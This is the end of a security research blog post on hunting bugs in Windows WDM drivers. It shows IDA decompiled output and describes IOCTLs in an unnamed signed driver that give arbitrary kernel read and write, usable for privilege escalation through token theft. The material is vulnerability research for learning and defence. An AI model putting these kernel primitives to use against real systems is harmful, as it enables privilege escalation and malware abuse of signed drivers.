Length_4 = (unsigned int)v6.MasterIrp->MdlAddress

// First two arguments are buffers, destination and source,
// they are two fields in the structure indicated by SystemBuffer
memmove(*(void **)v7.MasterIrp, *(const void **)&v7.MasterIrp->Flags, Length_4a);

Figure 22 – correcting the variable names and types

Classic Awful Bugs

To make it look better, we press ALT-Y to choose the proper field of the correct union member of the IO_STACK_LOCATION; let’s see what it looks like:

Figure 22

Figure 23 – how ida should represent the decompile output of the dispatch function

After the changes, we can see the decompiled output looks like plain C. We have a few calls to memmove, which is the first thing I would recommend doing when looking at a dispatch function. It seems the SystemBuffer is a structure consisting of source, size and destination fields, and they are supplied blindly to memmove method, what I call security at its best. These are the best/worst, depending on the perspectives you can get.

We can see we have three calls to memmove; ioctl 0x26DC04 presents a write everywhere of arbitrary content in the kernel. In contrast, ioctl 0x26FC08 allows to read from the kernel as it would later be assigned to the SystemBuffer (not in Figure 22) and returned to the user. All in all, this driver presents read/write everything functionality, which allows attackers to escalate into a privileged account by the system token. Of course, HVCI is not relevant in this case. The only saving grace we have here is the fact this driver is not accessible from normal user privilege levels, only from admin and above. Therefore, it limits the usefulness for escalation purposes. However, malware might still find this driver helpful. since it is a signed driver with flexible kernelic primitive. That is a great reason not to disclose the driver name in public.

Fixing this driver means rewriting the entire logic of the dispatch routine. Instead of doing that, the vendor changed the ACL of the device to prevent non-admin users from messing with it, and by doing so, it is no longer a security boundary. So no need to fix it,  right?

Already the End?

Throughout this lengthy blog post, we have seen how to start looking for bugs in WDM drivers. We started with the most important thing, which is getting a device handle. If you don’t have a handle, it doesn’t matter how great a kernel person you are. Later, we went over to analyzing the dispatch routine of IRP_MJ_DEVICE_CONTROL, followed by viewing how the IoManager treats users’ data. After that, we walked over a few bugs and how to find them and possibly exploit them.

We would recommend additional places while looking for vulnerabilities in the driver — such as if the driver calls MmMapIoSpace, reading/writing from MSR registers and more. However, this would need wait for another post, or else you can just go over the   excellent references below.

See you in the next installment for how to automate the entire process with many scripts and some kAFL.

Recommendations

Of course, we didn’t start from scratch; there are many useful resources out there. Besides that, the last few blog posts in this list provide easy to follow walkthroughs about exploitation:

Previous Article
Extracting Clear-Text Credentials Directly From Chromium’s Memory
Extracting Clear-Text Credentials Directly From Chromium’s Memory

This research was initiated accidentally. After “mini-dumping” all active Chrome.exe processes for another ...

Next Article
Conti Group Leaked!
Conti Group Leaked!

The conflict in Ukraine has driven significant attention from the cybersecurity community, due in large par...